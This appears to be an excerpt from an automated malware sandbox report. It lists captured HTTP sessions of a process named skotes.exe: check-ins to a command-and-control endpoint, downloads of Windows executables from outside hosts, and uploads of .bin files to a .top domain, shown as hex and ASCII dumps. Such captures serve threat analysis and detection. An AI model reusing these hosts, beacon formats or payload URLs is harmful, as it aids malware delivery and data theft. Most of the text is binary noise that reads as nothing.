Dec 21, 2024 10:15:55.103611946 CET	1236	IN	Data Raw: 9d 18 c6 fe ba 3e e8 e9 16 e0 62 53 2e 28 d7 25 ed cf 43 93 6a d6 fe 3f 64 d8 aa 18 c9 74 16 38 93 7c cd 26 84 fd da eb a0 0e 06 7c 95 50 11 a4 14 6d ae 2d a7 b0 94 5f a5 9f b7 40 f3 ee d2 91 9a d4 00 32 e7 a8 fb 6f c7 64 25 64 c6 cd 68 cb 1b 20 Data Ascii: >bS.(%Cj?dt8\|&\|Pm-_@2od%dh hx(=_:8RtvC`M6c56rl7KI$e+y\|QAj5i9A`45RbFJq353F
Dec 21, 2024 10:15:55.103642941 CET	224	IN	Data Raw: 1a 5d 7b 44 c3 d1 bb 4e 8b 63 0d 47 9e ae 8e 88 39 d3 d3 b6 a9 cd ac 1c a4 ee ae ce a1 23 46 23 b3 10 fb 73 87 b8 16 95 ab 90 80 50 02 e0 93 58 dc 3b c6 10 69 ae 53 9e 49 14 45 49 e4 6a 0a 62 ef 88 94 0c 4c 4e 21 19 18 34 f2 fa 29 fc ab 9c 8d 55 Data Ascii: ]{DNcG9#F#sPX;iSIEIjbLN!4)Uw2x-s=F@.CgVXV^xC#d?aGrBk:l/G:qc}tibsp:~~wJfwp
Dec 21, 2024 10:15:55.103696108 CET	1236	IN	Data Raw: 9e a7 95 92 5f e8 96 7c 48 04 25 31 c1 dc 1f 6a 64 5d df 44 89 53 83 c2 63 bb ba a0 68 38 75 e9 2d 14 47 33 65 16 57 97 b0 c4 2d a8 d6 d1 57 10 88 a3 78 66 4f 64 df 38 ce 14 2e 05 66 70 43 23 4b 30 34 87 45 e6 fb 95 d0 ec 02 c7 a7 0c cf b9 c7 4c Data Ascii: _\|H%1jd]DSch8u-G3eW-WxfOd8.fpC#K04EL\|-I&M=M(*t%"C(l)+j;CYzl1}F2I{XM;)O~-<Lbmk+u3B/+56G )eBaGp@
Dec 21, 2024 10:15:55.103725910 CET	224	IN	Data Raw: d6 c9 49 af 92 a4 fb 1d 66 e9 db b0 1c 2e b7 8a d4 44 91 74 95 84 15 e3 72 d9 16 f8 4e bc db b2 de 60 59 dd 09 dc da 32 3e 8a 22 59 d3 3f 59 e3 e2 90 20 62 a5 b8 03 27 3f 55 78 b6 5e cd 8f ea 3c 04 aa 64 31 f1 34 02 de 22 3b 3e b7 52 d7 2b a7 51 Data Ascii: If.DtrN`Y2>"Y?Y b'?Ux^<d14";>R+Qz'ri>/&EPu"st<xRXLLn-J\Vn-+>!d/ m\$1#9rV=60H\FAP,&d
Dec 21, 2024 10:15:55.103764057 CET	1236	IN	Data Raw: 45 59 a8 a6 60 08 f2 d7 a3 ed 94 10 67 de 19 ee 36 55 8b 28 bb 55 14 0d 90 06 1c 4a 48 ff 01 d0 a3 2c 79 29 b4 8a c7 a7 c6 ec 32 10 4d dc bd 7e c8 ed 42 4b 9a a9 1c 7d 17 a4 01 56 7e 67 9a 76 a0 0d f6 13 be 00 b0 14 18 82 7d 60 20 98 18 19 fd 21 Data Ascii: EY`g6U(UJH,y)2M~BK}V~gv}` !DB>v2A'd3;r=+8y.0B}Nbd('m,l.}GRvQUhlbwv&+HtEO>!K c0#@tf 7av!5O[C
Dec 21, 2024 10:15:55.493581057 CET	1236	IN	Data Raw: e1 3e 51 6a 0c 0c 01 b6 cb 41 fb 70 b7 10 03 9e cb 51 e9 8e f9 0f f5 94 92 bb 80 12 d1 0c 8a af 3c d2 27 f6 48 c0 8a 9c ac 1b 2b 25 b9 f4 a0 d7 e2 03 17 23 bf d4 af cc 7a c9 77 e7 40 10 f9 d7 ee 31 5d 6d 0d 04 df d8 b0 60 b0 a7 d2 30 33 6a c1 cf Data Ascii: >QjApQ<'H+%#zw@1]m`03j q&p9en/6j.\,J6m%{=ZG%%=63gSOcCULVY[$wd-4`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49932	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:05.396202087 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 32 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019255001&unit=246122658369
Dec 21, 2024 10:16:06.729445934 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:16:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49938	31.41.244.11	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:06.860244036 CET	62	OUT	GET /files/unique2/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 21, 2024 10:16:08.184397936 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:16:07 GMT Content-Type: application/octet-stream Content-Length: 1933824 Last-Modified: Sat, 21 Dec 2024 09:07:01 GMT Connection: keep-alive ETag: "67668535-1d8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 a0 85 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 85 00 00 04 00 00 77 bb 1d 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$inG@ZRZCZUZ\ZBZGRichPEL,e@@w[Ao@0 @N@.rsrc@p^@.idata A@ p)A@ctmelatgk@qkclmkgbZ@.taggant0"`@
Dec 21, 2024 10:16:08.184425116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:16:08.184552908 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:16:08.184859037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:16:08.184927940 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: C'e,&b^b(Z
Dec 21, 2024 10:16:08.185024977 CET	1236	IN	Data Raw: c9 cb 09 60 d4 9a 7c 56 70 e6 88 90 0b 8e 48 18 f3 7a 70 bc 02 c3 8f 68 87 8e 4e 7d a4 3b df d4 22 81 2f 62 9f 63 ee 52 8a a4 3f 38 e1 da 37 11 bc fb ef 85 9b ba 93 a5 8c 7c 8f f8 cc 76 1e ed b9 7f 58 f4 a7 0c 9c 1e 69 39 04 1e 03 73 6f 7c f3 79 Data Ascii: `\|VpHzphN};"/bcR?87\|vXi9so\|yx+G/=+HTvT)@=) 3+)8i@>s;b\K<94?<%28foMc(7&fHl?j&$z[W2 3tCK]_Ee+kp
Dec 21, 2024 10:16:08.185040951 CET	1236	IN	Data Raw: 93 39 2d 45 8c 65 41 4c 87 fb c2 31 ca eb bf b3 39 ac 9b 11 15 3e 7b ef e0 33 78 f0 c4 3a 4a c7 09 5a 60 39 d7 9e 2e 4b 33 85 c8 76 87 93 33 b6 66 c6 2a 1c ea f6 69 74 8e 65 22 95 ee b6 93 2e 61 93 aa d0 8e c7 94 15 04 74 8f b7 f2 d7 3b 74 65 8d Data Ascii: 9-EeAL19>{3x:JZ`9.K3v3fite".at;teOd)# MKe7yCep=3f>AV_/8ic(o@{n&$`w{my@60Z'"g:@M?#-<fzpHONF("c.+0UwZ$T
Dec 21, 2024 10:16:08.185132027 CET	1236	IN	Data Raw: c6 ba 65 8e d4 2a 08 89 31 86 e5 11 aa c9 03 94 44 e5 36 70 85 6f aa 94 45 84 25 1d 51 1e 6c 32 66 f6 12 2c 49 c9 a7 6c 0b 29 88 2f 12 ef 6b 57 6f fd b9 47 d7 d1 2c 9b a6 e4 20 50 4a bb 28 32 bb c3 f6 46 e3 92 a9 00 83 f0 63 8c 09 b3 63 0f 3f f3 Data Ascii: e1D6poE%Ql2f,Il)/kWoG, PJ(2Fcc?uDF4D?4c*.S$)i o4}2c/$L#b{hdu~/V2N4HY\>%uFNL<z~d4YQvTYc4q!Bf>$73L+QaT BzGpL?ZG
Dec 21, 2024 10:16:08.185147047 CET	1236	IN	Data Raw: 92 3e 9d 33 0d 97 fc cf cf 8e c0 ee 8f b4 fd 20 14 d6 2d 22 4e 7c 8b ca 87 5a c5 64 23 03 3a d0 7a 4d 2b 8b 62 c4 ce 1b 0e 7e e8 76 8e da 4f 2e 5b 85 45 06 1b 5a 34 cb 12 b3 bd f7 87 5d 57 77 aa f6 cb 2a 5e 7b 5a d5 bb 89 8b 3b fd 33 0d 15 ff 02 Data Ascii: >3 -"N\|Zd#:zM+b~vO.[EZ4]Ww^{Z;3xv&"3T~HZ8YgQOhf~v7106U_:2 ,2G&.IoL/TS2#gJ<dV[0():&e0,nB<kt
Dec 21, 2024 10:16:08.185163975 CET	1236	IN	Data Raw: 41 ab 77 49 be ee 53 a9 69 cf 49 16 2e 87 71 ec 82 b0 a5 79 2f f0 f4 14 b3 22 db e8 88 70 d0 5d 08 75 53 b4 7f 0e 57 6d 32 7d 15 03 89 c2 63 97 7a 52 0e d3 81 33 20 12 01 58 47 c3 ae 78 2a 40 03 16 bb 8e b7 81 bf e4 e0 fa 6d 5a 82 3b 86 6c 90 7e Data Ascii: AwISiI.qy/"p]uSWm2}czR3 XGx*@mZ;l~J <RGbnDik+1\|\M'MWr8gsh6;T<gv!~?JURuz}ayu60=oDi8y5di;u?V
Dec 21, 2024 10:16:08.304447889 CET	1236	IN	Data Raw: 5f 7a 09 4d 8d bb 9c 05 0a 55 2c f4 90 e0 8c b3 e2 c5 2f f7 8c 32 9b c3 f3 25 c0 b6 f9 f6 30 f7 26 ab 5c 1f 62 a7 ab 64 2f 36 18 d5 82 d0 d8 11 86 87 fc 6d 92 da af 14 9f d5 13 4a cb 52 d7 a3 43 bb 98 c3 1c 4e d5 d7 79 43 87 74 a3 62 17 aa 3b 97 Data Ascii: _zMU,/2%0&\bd/6mJRCNyCtb;KQi(%24YC7r/@UV.n,NJ+mbKw2I&&t-/[F8X^DR8ng7:vwsn44WLiZ&:)X5/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49959	185.215.113.43	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:14.033454895 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 39 32 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019256001&unit=246122658369
Dec 21, 2024 10:16:15.325134993 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:16:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49966	185.215.113.16	80	7668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:15.605437040 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 21, 2024 10:16:16.928806067 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Dec 2024 09:16:16 GMT Content-Type: application/octet-stream Content-Length: 1843200 Last-Modified: Sat, 21 Dec 2024 07:49:45 GMT Connection: keep-alive ETag: "67667319-1c2000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 10 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 49 00 00 04 00 00 8f 6b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gI@@Ik@T0h 1 H@.rsrc X@.idata 0Z@ *@\@npsrnsek`/^@lghaogpmI@.taggant0I"@
Dec 21, 2024 10:16:16.928864956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:16:16.928883076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:16:16.929034948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 21, 2024 10:16:16.929050922 CET	1236	IN	Data Raw: 1b 68 e7 a2 f6 0b 64 f1 2c d1 02 d1 cc 31 d4 ce 91 41 5b d5 7e e8 79 42 bf 84 8e 72 5f 46 4e 28 03 18 dd 39 c9 dc 66 10 4e 88 4e ca c6 70 18 43 f5 c1 65 90 66 13 4e 36 86 91 04 1d bd 39 18 2e d8 da 57 23 42 4e b1 00 81 5f c6 15 59 67 b0 55 8c 6c Data Ascii: hd,1A[~yBr_FN(9fNNpCefN69.W#BN_YgUlU?/GHN5'.V<zf,Ag(>A1SR!Dm1:"Mpc-VV3P^DxRfSPYcHg@7CtlD)3J
Dec 21, 2024 10:16:16.929066896 CET	1236	IN	Data Raw: cf 96 24 11 8d 26 47 ac 7e c7 4f 96 e8 fe 9c 68 a2 20 63 31 3b 64 a4 fa 41 26 83 d5 0a 0c 44 4c 07 c2 3b 3c 81 d4 92 c5 fa a0 04 d1 5d 49 66 d3 51 20 04 00 45 e4 1a ec 10 90 d0 a8 13 7e e9 13 bd 88 2f 07 60 d2 dd b7 bd 74 7b 1d 87 d8 04 49 af b0 Data Ascii: $&G~Oh c1;dA&DL;<]IfQ E~/`t{ILLW<;%^A[AHM'[z(!CLCqumV-"gY~yLkQ\~6fp"C0@OHSiD\DvhECB!10`QOUuBES_
Dec 21, 2024 10:16:16.929085016 CET	1236	IN	Data Raw: 0d a6 cd 5a 4d bc 7f ad 8b 7b 50 d5 56 88 0d 75 be 80 8c c8 cd e1 8b 77 07 ef 6c 0f 4e cb 81 68 80 4d cc 51 ad 47 f2 1e 28 fb 50 4a f4 04 ad 1b 59 bf 07 67 3e 71 fe 4d 75 d3 ca 32 77 e0 25 9a 15 a0 fb 40 8d 00 8a c8 aa 76 81 52 56 e7 c0 88 42 d5 Data Ascii: ZM{PVuwlNhMQG(PJYg>qMu2w%@vRVBEjv(VgxC:[6.K0U8\yD]~kyF"WjB(2FAwLPPD=5EK#DkP@mjZZdWgN84T6/CS{{X7u(;-
Dec 21, 2024 10:16:16.929317951 CET	1236	IN	Data Raw: 5f 22 ae 17 45 59 53 6e c2 c9 ba 54 95 c3 f2 83 65 9a 70 f0 86 4b 42 16 08 81 28 46 d1 54 ab a3 99 dd af 9f 80 08 36 f1 e9 cc 5c bc 9e e1 59 d1 87 6c 64 65 63 ee c5 31 6c ce 07 3e a5 78 a2 6a 9e 60 7f 50 47 75 14 ce c3 ba b1 6d 51 30 04 e3 8b d2 Data Ascii: _"EYSnTepKB(FT6\Yldec1l>xj`PGumQ0S_(sBkOSHRCEcF16E 8a^/E1*H=0GqP/K(-kXq@Ku67X#!S"&pJ7di0&QC TS7DS
Dec 21, 2024 10:16:16.929335117 CET	1236	IN	Data Raw: 7d f1 c2 ed 8d d2 e8 01 8f 8a 77 ce 9e e6 18 7a 57 3e a7 21 1d 29 45 dc dd d4 44 67 b7 91 4d 20 c6 d4 42 8a 04 05 72 55 47 38 2c 37 b1 2e 8c c8 18 6a 4a d1 6d 56 cc aa c0 40 0d 42 ba b9 d5 c1 82 3c 31 dc 61 fd c0 15 47 d1 c0 ce 98 2a 1a 3e e6 1e Data Ascii: }wzW>!)EDgM BrUG8,7.jJmV@B<1aG>AO"mj(<&sJDOvOQYGdNY@Jy2.))o=gmBfJ0zh2{LQl}9N[ 1pVD^5Z&r5O)1+=D$
Dec 21, 2024 10:16:16.929351091 CET	1236	IN	Data Raw: 9d c0 03 d0 2f ee 0e 0e 41 fb 32 8a 39 93 90 0e ce ef b8 3d dd bb 60 3a c1 4b a7 1d 8f 51 29 0b 8d 71 0d ba ce e9 f6 5e 63 81 b0 da 48 a1 8b 07 4f 21 2a dd df 10 b4 dd 47 40 a4 8d 8d d6 74 42 c6 00 d5 5c 6c aa ad 23 a1 d0 95 12 9d 6e a7 39 96 14 Data Ascii: /A29=`:KQ)q^cHO!G@tB\l#n9p+F\]qBH M9MQP$FS;g'z\$.QIjx6\|@c6afdKzC5ciL;CNxV@ZeYy@tC8pMf %
Dec 21, 2024 10:16:17.048449993 CET	1236	IN	Data Raw: da 12 50 31 9d 11 1a 4d 08 e4 1e 66 df cb 75 e6 bb d0 43 93 99 ca 8f 31 c5 23 87 47 7e 3e ef 3a 91 06 ef 4b 7f da f7 11 47 f7 cf 54 b6 a0 ce 41 65 af b4 5a 75 b0 34 49 78 25 67 f9 d3 48 8e e5 04 44 36 f7 96 00 4a 3a 4f 82 ce c3 46 43 54 2f 91 2f Data Ascii: P1MfuC1#G~>:KGTAeZu4Ix%gHD6J:OFCT//MgHsX`A'qK1WUlRlH]v,#D@ gy{ULC'Jo)CYN:?4%MGtNx]Eqn6_$I[VqK[

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49973	185.121.15.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:17.434643030 CET	643	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5ht.top Accept: / Content-Length: 464 Content-Type: multipart/form-data; boundary=------------------------sCPLJuWr8VSVWU8wts6SY9 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 43 50 4c 4a 75 57 72 38 56 53 56 57 55 38 77 74 73 36 53 59 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 69 70 65 64 61 70 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 06 f3 db e1 39 a9 4c 94 ea f5 40 45 93 5e cc 84 ac db cc 8c 18 82 48 f1 74 ea d9 62 64 52 b4 8f af f0 8b 57 21 17 38 73 bd 89 02 2a 09 ce 19 d9 b9 ce 5b 63 ae 30 81 83 69 ec 88 36 71 48 76 9a 7d 61 33 00 d9 fb da ad f4 c9 99 2e 4a c6 ff 26 5e c0 b0 f3 6b 61 64 02 5a 17 e7 d8 01 94 fc 68 2a c7 d2 4a 1a c4 60 9c 42 1d 33 3d 09 db 99 da dc 8d 3f 44 df 4d 2d b8 12 07 43 e8 61 1d 4c 5a fa 75 32 98 73 a1 58 84 cf 77 c1 49 1d a0 13 ec 19 78 59 4a 15 c9 db 26 e0 a0 e3 a5 01 16 41 2e 23 5d 9c 8b 98 26 8e dd 1c a1 44 1d 7c be 67 9d [TRUNCATED] Data Ascii: --------------------------sCPLJuWr8VSVWU8wts6SY9Content-Disposition: form-data; name="file"; filename="Hipedapi.bin"Content-Type: application/octet-stream9L@E^HtbdRW!8s[c0i6qHv}a3.J&^kadZhJ`B3=?DM-CaLZu2sXwIxYJ&A.#]&D\|ghbD_~!sL Jk)gOJ %(A0rd6urI>--------------------------sCPLJuWr8VSVWU8wts6SY9--
Dec 21, 2024 10:16:18.855700016 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734774379 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49981	185.121.15.192	80

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 10:16:20.441526890 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fivetk5ht.top Accept: / Content-Length: 65401 Content-Type: multipart/form-data; boundary=------------------------Fl4UTVJZz8TWPhEx3kfoEx Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 6c 34 55 54 56 4a 5a 7a 38 54 57 50 68 45 78 33 6b 66 6f 45 78 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 69 73 6f 73 69 66 65 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 23 ce 82 44 10 28 19 4e 96 71 9d a8 aa 81 22 ca 57 07 bf f4 7f 89 48 02 83 d2 a6 18 3f d0 12 f6 bc 1a 3c 14 4e 00 28 1d 41 aa 62 6a b9 24 5c 3a a4 d0 a6 ec 01 52 48 47 3e d5 c0 3d 75 3f f8 40 81 8c c3 04 a8 85 3f a1 4d 36 b0 46 89 58 c1 07 cc 38 45 9f 23 cb 31 ad d5 fb a2 87 06 31 31 4d 46 78 81 67 ac 1c 2d f5 9a 08 33 40 79 24 60 e9 fd 56 df a6 b1 0a 58 56 21 5f 21 07 d4 b9 f1 58 55 ec b5 e0 e2 e7 0e 0e 1e 15 fe 57 bb 29 1c 1e 87 4e 3d ba 0f 61 c3 5f 2d 77 27 66 7c 6c 1c 5e f3 5e 5e 71 7a 9e ed fd ab f4 cd 99 51 97 e9 [TRUNCATED] Data Ascii: --------------------------Fl4UTVJZz8TWPhEx3kfoExContent-Disposition: form-data; name="file"; filename="Tisosifep.bin"Content-Type: application/octet-stream#D(Nq"WH?<N(Abj$\:RHG>=u?@?M6FX8E#111MFxg-3@y$`VXV!_!XUW)N=a_-w'f\|l^^^qzQj?'gQg_iGu;Bm%909cmV@+BpeEw,yugo\|iFJ'G4C24\znCw;_z!EsL`A>bpcd$?GiS/5u82u:GdF}O#b^9L#TPZp\|+N0S,P/ZfC0g&Uhs{M2@5uUTy"](;NQvlB/6A=sevB9Li\9MV'I=ow/KX7o&-&nXU6 tbJ!xhtqrazL-R,G}R'o,@+,B+-YC3y`339$g%^l;f18k('o_O/uB]!h&qG`B/G/V [TRUNCATED]
Dec 21, 2024 10:16:20.561151028 CET	2472	OUT	Data Raw: c7 1b 2a f2 63 b0 ae 8d 3e 59 77 66 db 4d de ea bb a1 85 58 62 ec a0 6d 46 6b 57 ec 57 2f ff 51 fe 2a b6 87 ec 2d d1 6c 2d 92 56 49 f5 7a ce 8b 52 3e 95 26 33 e8 79 b1 e4 f4 dd 02 46 9b 62 3f 8e 1b 9a 7f 21 44 f9 98 ae 62 4f 8f 50 f5 52 61 00 2d Data Ascii: c>YwfMXbmFkWW/Q-l-VIzR>&3yFb?!DbOPRa-'DLZ:{Lu7I*h 6oX-Q@$f,wBgkN!L6KT fq=by`%;Ds[[v"iW$]0\MX?e5T0LR
Dec 21, 2024 10:16:20.561183929 CET	2472	OUT	Data Raw: d3 b4 75 f9 e0 a1 02 9a 98 77 fe dc d2 24 cd 57 67 24 28 97 38 58 cd 78 c7 1b 9c d8 f6 db 7a b3 e8 d2 52 2c b5 d5 5f c4 f1 26 ac 51 0d 0a af bc 78 c1 c4 36 3a 86 bf 1b 82 3c 64 31 f4 17 5a d1 57 7a b5 b9 1a f4 2c dc 6a 69 61 49 8a 5d e9 8c c7 ff Data Ascii: uw$Wg$(8XxzR,_&Qx6:<d1ZWz,jiaI]wiXnaZvCe:9s{%eT(iZFauA\@n}Q~8qidc38zn$me1M_WEb,J\T7
